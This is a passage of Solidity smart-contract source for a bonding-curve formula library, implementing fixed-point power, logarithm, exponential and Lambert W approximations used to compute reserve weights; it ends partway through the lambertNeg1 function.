* In other words, we want the arbitrager to convert the difference between the reserve balance and the reserve staked balance.
*
* Formula input:
* - let t denote the primary reserve token staked balance
* - let s denote the primary reserve token balance
* - let r denote the secondary reserve token balance
* - let q denote the numerator of the rate between the tokens
* - let p denote the denominator of the rate between the tokens
* Where p primary tokens are equal to q secondary tokens
*
* Formula output:
* - compute x = W(t / r * q / p * log(s / t)) / log(s / t)
* - return x / (1 + x) as the weight of the primary reserve token
* - return 1 / (1 + x) as the weight of the secondary reserve token
* Where W is the Lambert W Function
*
* If the rate-provider provides the rates for a common unit, for example:
* - P = 2 ==> 2 primary reserve tokens = 1 ether
* - Q = 3 ==> 3 secondary reserve tokens = 1 ether
* Then you can simply use p = P and q = Q
*
* If the rate-provider provides the rates for a single unit, for example:
* - P = 2 ==> 1 primary reserve token = 2 ethers
* - Q = 3 ==> 1 secondary reserve token = 3 ethers
* Then you can simply use p = Q and q = P
*
* @param _primaryReserveStakedBalance the primary reserve token staked balance
* @param _primaryReserveBalance the primary reserve token balance
* @param _secondaryReserveBalance the secondary reserve token balance
* @param _reserveRateNumerator the numerator of the rate between the tokens
* @param _reserveRateDenominator the denominator of the rate between the tokens
*
* Note that `numerator / denominator` should represent the amount of secondary tokens equal to one primary token
*
* @return the weight of the primary reserve token and the weight of the secondary reserve token, both in ppm (0-1000000)
*/
function balancedWeights(
uint256 _primaryReserveStakedBalance,
uint256 _primaryReserveBalance,
uint256 _secondaryReserveBalance,
uint256 _reserveRateNumerator,
uint256 _reserveRateDenominator
) public view returns (uint32, uint32) {
if (_primaryReserveStakedBalance == _primaryReserveBalance)
require(
_primaryReserveStakedBalance > 0 ||
_secondaryReserveBalance > 0,
"ERR_INVALID_RESERVE_BALANCE"
);
else
require(
_primaryReserveStakedBalance > 0 &&
_primaryReserveBalance > 0 &&
_secondaryReserveBalance > 0,
"ERR_INVALID_RESERVE_BALANCE"
);
require(
_reserveRateNumerator > 0 && _reserveRateDenominator > 0,
"ERR_INVALID_RESERVE_RATE"
);
uint256 tq = _primaryReserveStakedBalance.mul(_reserveRateNumerator);
uint256 rp = _secondaryReserveBalance.mul(_reserveRateDenominator);
if (_primaryReserveStakedBalance < _primaryReserveBalance)
return
balancedWeightsByStake(
_primaryReserveBalance,
_primaryReserveStakedBalance,
tq,
rp,
true
);
if (_primaryReserveStakedBalance > _primaryReserveBalance)
return
balancedWeightsByStake(
_primaryReserveStakedBalance,
_primaryReserveBalance,
tq,
rp,
false
);
return normalizedWeights(tq, rp);
}
/**
* @dev General Description:
* Determine a value of precision.
* Calculate an integer approximation of (_baseN / _baseD) ^ (_expN / _expD) * 2 ^ precision.
* Return the result along with the precision used.
*
* Detailed Description:
* Instead of calculating "base ^ exp", we calculate "e ^ (log(base) * exp)".
* The value of "log(base)" is represented with an integer slightly smaller than "log(base) * 2 ^ precision".
* The larger "precision" is, the more accurately this value represents the real value.
* However, the larger "precision" is, the more bits are required in order to store this value.
* And the exponentiation function, which takes "x" and calculates "e ^ x", is limited to a maximum exponent (maximum value of "x").
* This maximum exponent depends on the "precision" used, and it is given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
* Hence we need to determine the highest precision which can be used for the given input, before calling the exponentiation function.
* This allows us to compute "base ^ exp" with maximum accuracy and without exceeding 256 bits in any of the intermediate computations.
* This functions assumes that "_expN < 2 ^ 256 / log(MAX_NUM - 1)", otherwise the multiplication should be replaced with a "safeMul".
* Since we rely on unsigned-integer arithmetic and "base < 1" ==> "log(base) < 0", this function does not support "_baseN < _baseD".
*/
function power(
uint256 _baseN,
uint256 _baseD,
uint32 _expN,
uint32 _expD
) internal view returns (uint256, uint8) {
require(_baseN < MAX_NUM);
uint256 baseLog;
uint256 base = (_baseN * FIXED_1) / _baseD;
if (base < OPT_LOG_MAX_VAL) {
baseLog = optimalLog(base);
} else {
baseLog = generalLog(base);
}
uint256 baseLogTimesExp = (baseLog * _expN) / _expD;
if (baseLogTimesExp < OPT_EXP_MAX_VAL) {
return (optimalExp(baseLogTimesExp), MAX_PRECISION);
} else {
uint8 precision = findPositionInMaxExpArray(baseLogTimesExp);
return (
generalExp(
baseLogTimesExp >> (MAX_PRECISION - precision),
precision
),
precision
);
}
}
/**
* @dev computes log(x / FIXED_1) * FIXED_1.
* This functions assumes that "x >= FIXED_1", because the output would be negative otherwise.
*/
function generalLog(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = MAX_PRECISION; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += ONE << (i - 1);
}
}
}
return (res * LN2_NUMERATOR) / LN2_DENOMINATOR;
}
/**
* @dev computes the largest integer smaller than or equal to the binary logarithm of the input.
*/
function floorLog2(uint256 _n) internal pure returns (uint8) {
uint8 res = 0;
if (_n < 256) {
// At most 8 iterations
while (_n > 1) {
_n >>= 1;
res += 1;
}
} else {
// Exactly 8 iterations
for (uint8 s = 128; s > 0; s >>= 1) {
if (_n >= (ONE << s)) {
_n >>= s;
res |= s;
}
}
}
return res;
}
/**
* @dev the global "maxExpArray" is sorted in descending order, and therefore the following statements are equivalent:
* - This function finds the position of [the smallest value in "maxExpArray" larger than or equal to "x"]
* - This function finds the highest position of [a value in "maxExpArray" larger than or equal to "x"]
*/
function findPositionInMaxExpArray(uint256 _x)
internal
view
returns (uint8)
{
uint8 lo = MIN_PRECISION;
uint8 hi = MAX_PRECISION;
while (lo + 1 < hi) {
uint8 mid = (lo + hi) / 2;
if (maxExpArray[mid] >= _x) lo = mid;
else hi = mid;
}
if (maxExpArray[hi] >= _x) return hi;
if (maxExpArray[lo] >= _x) return lo;
require(false);
}
/**
* @dev this function can be auto-generated by the script 'PrintFunctionGeneralExp.py'.
* it approximates "e ^ x" via maclaurin summation: "(x^0)/0! + (x^1)/1! + ... + (x^n)/n!".
* it returns "e ^ (x / 2 ^ precision) * 2 ^ precision", that is, the result is upshifted for accuracy.
* the global "maxExpArray" maps each "precision" to "((maximumExponent + 1) << (MAX_PRECISION - precision)) - 1".
* the maximum permitted value for "x" is therefore given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
*/
function generalExp(uint256 _x, uint8 _precision)
internal
pure
returns (uint256)
{
uint256 xi = _x;
uint256 res = 0;
xi = (xi * _x) >> _precision;
res += xi * 0x3442c4e6074a82f1797f72ac0000000; // add x^02 * (33! / 02!)
xi = (xi * _x) >> _precision;
res += xi * 0x116b96f757c380fb287fd0e40000000; // add x^03 * (33! / 03!)
xi = (xi * _x) >> _precision;
res += xi * 0x045ae5bdd5f0e03eca1ff4390000000; // add x^04 * (33! / 04!)
xi = (xi * _x) >> _precision;
res += xi * 0x00defabf91302cd95b9ffda50000000; // add x^05 * (33! / 05!)
xi = (xi * _x) >> _precision;
res += xi * 0x002529ca9832b22439efff9b8000000; // add x^06 * (33! / 06!)
xi = (xi * _x) >> _precision;
res += xi * 0x00054f1cf12bd04e516b6da88000000; // add x^07 * (33! / 07!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000a9e39e257a09ca2d6db51000000; // add x^08 * (33! / 08!)
xi = (xi * _x) >> _precision;
res += xi * 0x000012e066e7b839fa050c309000000; // add x^09 * (33! / 09!)
xi = (xi * _x) >> _precision;
res += xi * 0x000001e33d7d926c329a1ad1a800000; // add x^10 * (33! / 10!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000002bee513bdb4a6b19b5f800000; // add x^11 * (33! / 11!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000003a9316fa79b88eccf2a00000; // add x^12 * (33! / 12!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000048177ebe1fa812375200000; // add x^13 * (33! / 13!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000005263fe90242dcbacf00000; // add x^14 * (33! / 14!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000057e22099c030d94100000; // add x^15 * (33! / 15!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000057e22099c030d9410000; // add x^16 * (33! / 16!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000052b6b54569976310000; // add x^17 * (33! / 17!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000004985f67696bf748000; // add x^18 * (33! / 18!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000003dea12ea99e498000; // add x^19 * (33! / 19!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000031880f2214b6e000; // add x^20 * (33! / 20!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000025bcff56eb36000; // add x^21 * (33! / 21!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000001b722e10ab1000; // add x^22 * (33! / 22!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000001317c70077000; // add x^23 * (33! / 23!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000cba84aafa00; // add x^24 * (33! / 24!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000082573a0a00; // add x^25 * (33! / 25!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000005035ad900; // add x^26 * (33! / 26!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000000000002f881b00; // add x^27 * (33! / 27!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000001b29340; // add x^28 * (33! / 28!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000000000efc40; // add x^29 * (33! / 29!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000007fe0; // add x^30 * (33! / 30!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000420; // add x^31 * (33! / 31!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000021; // add x^32 * (33! / 32!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000001; // add x^33 * (33! / 33!)
return
res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision); // divide by 33! and then add x^1 / 1! + x^0 / 0!
}
/**
* @dev computes log(x / FIXED_1) * FIXED_1
* Input range: FIXED_1 <= x <= OPT_LOG_MAX_VAL - 1
* Auto-generated via 'PrintFunctionOptimalLog.py'
* Detailed description:
* - Rewrite the input as a product of natural exponents and a single residual r, such that 1 < r < 2
* - The natural logarithm of each (pre-calculated) exponent is the degree of the exponent
* - The natural logarithm of r is calculated via Taylor series for log(1 + x), where x = r - 1
* - The natural logarithm of the input is calculated by summing up the intermediate results above
* - For example: log(250) = log(e^4 * e^1 * e^0.5 * 1.021692859) = 4 + 1 + 0.5 + log(1 + 0.021692859)
*/
function optimalLog(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
uint256 w;
if (x >= 0xd3094c70f034de4b96ff7d5b6f99fcd8) {
res += 0x40000000000000000000000000000000;
x = (x * FIXED_1) / 0xd3094c70f034de4b96ff7d5b6f99fcd8;
} // add 1 / 2^1
if (x >= 0xa45af1e1f40c333b3de1db4dd55f29a7) {
res += 0x20000000000000000000000000000000;
x = (x * FIXED_1) / 0xa45af1e1f40c333b3de1db4dd55f29a7;
} // add 1 / 2^2
if (x >= 0x910b022db7ae67ce76b441c27035c6a1) {
res += 0x10000000000000000000000000000000;
x = (x * FIXED_1) / 0x910b022db7ae67ce76b441c27035c6a1;
} // add 1 / 2^3
if (x >= 0x88415abbe9a76bead8d00cf112e4d4a8) {
res += 0x08000000000000000000000000000000;
x = (x * FIXED_1) / 0x88415abbe9a76bead8d00cf112e4d4a8;
} // add 1 / 2^4
if (x >= 0x84102b00893f64c705e841d5d4064bd3) {
res += 0x04000000000000000000000000000000;
x = (x * FIXED_1) / 0x84102b00893f64c705e841d5d4064bd3;
} // add 1 / 2^5
if (x >= 0x8204055aaef1c8bd5c3259f4822735a2) {
res += 0x02000000000000000000000000000000;
x = (x * FIXED_1) / 0x8204055aaef1c8bd5c3259f4822735a2;
} // add 1 / 2^6
if (x >= 0x810100ab00222d861931c15e39b44e99) {
res += 0x01000000000000000000000000000000;
x = (x * FIXED_1) / 0x810100ab00222d861931c15e39b44e99;
} // add 1 / 2^7
if (x >= 0x808040155aabbbe9451521693554f733) {
res += 0x00800000000000000000000000000000;
x = (x * FIXED_1) / 0x808040155aabbbe9451521693554f733;
} // add 1 / 2^8
z = y = x - FIXED_1;
w = (y * y) / FIXED_1;
res +=
(z * (0x100000000000000000000000000000000 - y)) /
0x100000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^01 / 01 - y^02 / 02
res +=
(z * (0x0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y)) /
0x200000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^03 / 03 - y^04 / 04
res +=
(z * (0x099999999999999999999999999999999 - y)) /
0x300000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^05 / 05 - y^06 / 06
res +=
(z * (0x092492492492492492492492492492492 - y)) /
0x400000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^07 / 07 - y^08 / 08
res +=
(z * (0x08e38e38e38e38e38e38e38e38e38e38e - y)) /
0x500000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^09 / 09 - y^10 / 10
res +=
(z * (0x08ba2e8ba2e8ba2e8ba2e8ba2e8ba2e8b - y)) /
0x600000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^11 / 11 - y^12 / 12
res +=
(z * (0x089d89d89d89d89d89d89d89d89d89d89 - y)) /
0x700000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^13 / 13 - y^14 / 14
res +=
(z * (0x088888888888888888888888888888888 - y)) /
0x800000000000000000000000000000000; // add y^15 / 15 - y^16 / 16
return res;
}
/**
* @dev computes e ^ (x / FIXED_1) * FIXED_1
* input range: 0 <= x <= OPT_EXP_MAX_VAL - 1
* auto-generated via 'PrintFunctionOptimalExp.py'
* Detailed description:
* - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible
* - The exponentiation of each binary exponent is given (pre-calculated)
* - The exponentiation of r is calculated via Taylor series for e^x, where x = r
* - The exponentiation of the input is calculated by multiplying the intermediate results above
* - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859
*/
function optimalExp(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3)
z = (z * y) / FIXED_1;
res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!)
z = (z * y) / FIXED_1;
res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!)
z = (z * y) / FIXED_1;
res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!)
z = (z * y) / FIXED_1;
res += z * 0x004807432bc18000; // add y^05 * (20! / 05!)
z = (z * y) / FIXED_1;
res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!)
z = (z * y) / FIXED_1;
res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!)
z = (z * y) / FIXED_1;
res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!)
z = (z * y) / FIXED_1;
res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!)
z = (z * y) / FIXED_1;
res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!)
z = (z * y) / FIXED_1;
res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!)
z = (z * y) / FIXED_1;
res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!)
z = (z * y) / FIXED_1;
res += z * 0x0000000017499f00; // add y^13 * (20! / 13!)
z = (z * y) / FIXED_1;
res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!)
z = (z * y) / FIXED_1;
res += z * 0x00000000001c6380; // add y^15 * (20! / 15!)
z = (z * y) / FIXED_1;
res += z * 0x000000000001c638; // add y^16 * (20! / 16!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!)
z = (z * y) / FIXED_1;
res += z * 0x000000000000017c; // add y^18 * (20! / 18!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000014; // add y^19 * (20! / 19!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000001; // add y^20 * (20! / 20!)
res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0!
if ((x & 0x010000000000000000000000000000000) != 0)
res =
(res * 0x1c3d6a24ed82218787d624d3e5eba95f9) /
0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3)
if ((x & 0x020000000000000000000000000000000) != 0)
res =
(res * 0x18ebef9eac820ae8682b9793ac6d1e778) /
0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2)
if ((x & 0x040000000000000000000000000000000) != 0)
res =
(res * 0x1368b2fc6f9609fe7aceb46aa619baed5) /
0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1)
if ((x & 0x080000000000000000000000000000000) != 0)
res =
(res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) /
0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0)
if ((x & 0x100000000000000000000000000000000) != 0)
res =
(res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) /
0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1)
if ((x & 0x200000000000000000000000000000000) != 0)
res =
(res * 0x00960aadc109e7a3bf4578099615711d7) /
0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2)
if ((x & 0x400000000000000000000000000000000) != 0)
res =
(res * 0x0002bf84208204f5977f9a8cf01fdc307) /
0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3)
return res;
}
/**
* @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1
*/
function lowerStake(uint256 _x) internal view returns (uint256) {
if (_x <= LAMBERT_CONV_RADIUS) return lambertPos1(_x);
if (_x <= LAMBERT_POS2_MAXVAL) return lambertPos2(_x);
if (_x <= LAMBERT_POS3_MAXVAL) return lambertPos3(_x);
require(false);
}
/**
* @dev computes W(-x / FIXED_1) / (-x / FIXED_1) * FIXED_1
*/
function higherStake(uint256 _x) internal pure returns (uint256) {
if (_x <= LAMBERT_CONV_RADIUS) return lambertNeg1(_x);
return (FIXED_1 * FIXED_1) / _x;
}
/**
* @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1
* input range: 1 <= x <= 1 / e * FIXED_1
* auto-generated via 'PrintFunctionLambertPos1.py'
*/
function lambertPos1(uint256 _x) internal pure returns (uint256) {
uint256 xi = _x;
uint256 res = (FIXED_1 - _x) * 0xde1bc4d19efcac82445da75b00000000; // x^(1-1) * (34! * 1^(1-1) / 1!) - x^(2-1) * (34! * 2^(2-1) / 2!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x00000000014d29a73a6e7b02c3668c7b0880000000; // add x^(03-1) * (34! * 03^(03-1) / 03!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x0000000002504a0cd9a7f7215b60f9be4800000000; // sub x^(04-1) * (34! * 04^(04-1) / 04!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000000000484d0a1191c0ead267967c7a4a0000000; // add x^(05-1) * (34! * 05^(05-1) / 05!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x00000000095ec580d7e8427a4baf26a90a00000000; // sub x^(06-1) * (34! * 06^(06-1) / 06!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000000001440b0be1615a47dba6e5b3b1f10000000; // add x^(07-1) * (34! * 07^(07-1) / 07!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x000000002d207601f46a99b4112418400000000000; // sub x^(08-1) * (34! * 08^(08-1) / 08!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000000066ebaac4c37c622dd8288a7eb1b2000000; // add x^(09-1) * (34! * 09^(09-1) / 09!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x00000000ef17240135f7dbd43a1ba10cf200000000; // sub x^(10-1) * (34! * 10^(10-1) / 10!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000000233c33c676a5eb2416094a87b3657000000; // add x^(11-1) * (34! * 11^(11-1) / 11!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x0000000541cde48bc0254bed49a9f8700000000000; // sub x^(12-1) * (34! * 12^(12-1) / 12!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000000cae1fad2cdd4d4cb8d73abca0d19a400000; // add x^(13-1) * (34! * 13^(13-1) / 13!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x0000001edb2aa2f760d15c41ceedba956400000000; // sub x^(14-1) * (34! * 14^(14-1) / 14!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000004ba8d20d2dabd386c9529659841a2e200000; // add x^(15-1) * (34! * 15^(15-1) / 15!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x000000bac08546b867cdaa20000000000000000000; // sub x^(16-1) * (34! * 16^(16-1) / 16!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000001cfa8e70c03625b9db76c8ebf5bbf24820000; // add x^(17-1) * (34! * 17^(17-1) / 17!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x000004851d99f82060df265f3309b26f8200000000; // sub x^(18-1) * (34! * 18^(18-1) / 18!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x00000b550d19b129d270c44f6f55f027723cbb0000; // add x^(19-1) * (34! * 19^(19-1) / 19!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x00001c877dadc761dc272deb65d4b0000000000000; // sub x^(20-1) * (34! * 20^(20-1) / 20!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000048178ece97479f33a77f2ad22a81b64406c000; // add x^(21-1) * (34! * 21^(21-1) / 21!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x0000b6ca8268b9d810fedf6695ef2f8a6c00000000; // sub x^(22-1) * (34! * 22^(22-1) / 22!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0001d0e76631a5b05d007b8cb72a7c7f11ec36e000; // add x^(23-1) * (34! * 23^(23-1) / 23!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x0004a1c37bd9f85fd9c6c780000000000000000000; // sub x^(24-1) * (34! * 24^(24-1) / 24!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000bd8369f1b702bf491e2ebfcee08250313b65400; // add x^(25-1) * (34! * 25^(25-1) / 25!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x001e5c7c32a9f6c70ab2cb59d9225764d400000000; // sub x^(26-1) * (34! * 26^(26-1) / 26!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x004dff5820e165e910f95120a708e742496221e600; // add x^(27-1) * (34! * 27^(27-1) / 27!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x00c8c8f66db1fced378ee50e536000000000000000; // sub x^(28-1) * (34! * 28^(28-1) / 28!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0205db8dffff45bfa2938f128f599dbf16eb11d880; // add x^(29-1) * (34! * 29^(29-1) / 29!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x053a044ebd984351493e1786af38d39a0800000000; // sub x^(30-1) * (34! * 30^(30-1) / 30!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0d86dae2a4cc0f47633a544479735869b487b59c40; // add x^(31-1) * (34! * 31^(31-1) / 31!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0x231000000000000000000000000000000000000000; // sub x^(32-1) * (34! * 32^(32-1) / 32!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x5b0485a76f6646c2039db1507cdd51b08649680822; // add x^(33-1) * (34! * 33^(33-1) / 33!)
xi = (xi * _x) / FIXED_1;
res -= xi * 0xec983c46c49545bc17efa6b5b0055e242200000000; // sub x^(34-1) * (34! * 34^(34-1) / 34!)
return res / 0xde1bc4d19efcac82445da75b00000000; // divide by 34!
}
/**
* @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1
* input range: LAMBERT_CONV_RADIUS + 1 <= x <= LAMBERT_POS2_MAXVAL
*/
function lambertPos2(uint256 _x) internal view returns (uint256) {
uint256 x = _x - LAMBERT_CONV_RADIUS - 1;
uint256 i = x / LAMBERT_POS2_SAMPLE;
uint256 a = LAMBERT_POS2_SAMPLE * i;
uint256 b = LAMBERT_POS2_SAMPLE * (i + 1);
uint256 c = lambertArray[i];
uint256 d = lambertArray[i + 1];
return (c * (b - x) + d * (x - a)) / LAMBERT_POS2_SAMPLE;
}
/**
* @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1
* input range: LAMBERT_POS2_MAXVAL + 1 <= x <= LAMBERT_POS3_MAXVAL
*/
function lambertPos3(uint256 _x) internal pure returns (uint256) {
uint256 l1 = _x < OPT_LOG_MAX_VAL ? optimalLog(_x) : generalLog(_x);
uint256 l2 = l1 < OPT_LOG_MAX_VAL ? optimalLog(l1) : generalLog(l1);
return ((l1 - l2 + (l2 * FIXED_1) / l1) * FIXED_1) / _x;
}
/**
* @dev computes W(-x / FIXED_1) / (-x / FIXED_1) * FIXED_1
* input range: 1 <= x <= 1 / e * FIXED_1
* auto-generated via 'PrintFunctionLambertNeg1.py'
*/
function lambertNeg1(uint256 _x) internal pure returns (uint256) {
uint256 xi = _x;
uint256 res = 0;
xi = (xi * _x) / FIXED_1;
res += xi * 0x00000000014d29a73a6e7b02c3668c7b0880000000; // add x^(03-1) * (34! * 03^(03-1) / 03!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000000002504a0cd9a7f7215b60f9be4800000000; // add x^(04-1) * (34! * 04^(04-1) / 04!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000000000484d0a1191c0ead267967c7a4a0000000; // add x^(05-1) * (34! * 05^(05-1) / 05!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x00000000095ec580d7e8427a4baf26a90a00000000; // add x^(06-1) * (34! * 06^(06-1) / 06!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000000001440b0be1615a47dba6e5b3b1f10000000; // add x^(07-1) * (34! * 07^(07-1) / 07!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000000002d207601f46a99b4112418400000000000; // add x^(08-1) * (34! * 08^(08-1) / 08!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000000066ebaac4c37c622dd8288a7eb1b2000000; // add x^(09-1) * (34! * 09^(09-1) / 09!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x00000000ef17240135f7dbd43a1ba10cf200000000; // add x^(10-1) * (34! * 10^(10-1) / 10!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000000233c33c676a5eb2416094a87b3657000000; // add x^(11-1) * (34! * 11^(11-1) / 11!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000000541cde48bc0254bed49a9f8700000000000; // add x^(12-1) * (34! * 12^(12-1) / 12!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000000cae1fad2cdd4d4cb8d73abca0d19a400000; // add x^(13-1) * (34! * 13^(13-1) / 13!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000001edb2aa2f760d15c41ceedba956400000000; // add x^(14-1) * (34! * 14^(14-1) / 14!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000004ba8d20d2dabd386c9529659841a2e200000; // add x^(15-1) * (34! * 15^(15-1) / 15!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000000bac08546b867cdaa20000000000000000000; // add x^(16-1) * (34! * 16^(16-1) / 16!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000001cfa8e70c03625b9db76c8ebf5bbf24820000; // add x^(17-1) * (34! * 17^(17-1) / 17!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000004851d99f82060df265f3309b26f8200000000; // add x^(18-1) * (34! * 18^(18-1) / 18!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x00000b550d19b129d270c44f6f55f027723cbb0000; // add x^(19-1) * (34! * 19^(19-1) / 19!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x00001c877dadc761dc272deb65d4b0000000000000; // add x^(20-1) * (34! * 20^(20-1) / 20!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000048178ece97479f33a77f2ad22a81b64406c000; // add x^(21-1) * (34! * 21^(21-1) / 21!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0000b6ca8268b9d810fedf6695ef2f8a6c00000000; // add x^(22-1) * (34! * 22^(22-1) / 22!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0001d0e76631a5b05d007b8cb72a7c7f11ec36e000; // add x^(23-1) * (34! * 23^(23-1) / 23!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x0004a1c37bd9f85fd9c6c780000000000000000000; // add x^(24-1) * (34! * 24^(24-1) / 24!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x000bd8369f1b702bf491e2ebfcee08250313b65400; // add x^(25-1) * (34! * 25^(25-1) / 25!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x001e5c7c32a9f6c70ab2cb59d9225764d400000000; // add x^(26-1) * (34! * 26^(26-1) / 26!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x004dff5820e165e910f95120a708e742496221e600; // add x^(27-1) * (34! * 27^(27-1) / 27!)
xi = (xi * _x) / FIXED_1;
res += xi * 0x00c8c8f66db1fced378ee50e536000000000000000; // add x^(28-1) * (34! * 28^(28-1) / 28!)
